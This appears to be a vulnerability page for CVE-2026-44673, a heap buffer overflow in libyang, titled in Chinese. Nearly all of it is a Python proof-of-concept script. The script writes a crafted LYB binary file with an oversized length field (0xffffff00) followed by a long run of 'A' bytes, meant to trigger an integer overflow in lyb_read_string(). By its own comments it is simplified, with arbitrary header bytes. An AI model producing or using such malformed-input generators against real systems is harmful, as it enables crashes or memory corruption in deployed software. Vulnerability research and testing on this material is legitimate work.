CVE-2026-44673 libyang堆缓冲区溢出漏洞

# PoC Concept for CVE-2026-44673 # This script demonstrates the concept of triggering the integer overflow # by crafting a malicious LYB binary blob. import struct def create_malicious_lyb(): # Simulating a crafted LYB blob header # The vulnerability is triggered in lyb_read_string() via integer overflow # We construct a length field that causes the overflow # Arbitrary header bytes (simplified) data = b'\x00' * 20 # Malicious size intended to cause overflow in allocation logic # e.g., a value that wraps around when multiplied or added evil_size = struct.pack('<I', 0xffffff00) # Payload to overflow the allocated buffer payload = b'A' * 0x1000 return data + evil_size + payload with open('cve_2026_44673_poc.lyb', 'wb') as f: f.write(create_malicious_lyb()) print('Malicious LYB file generated.')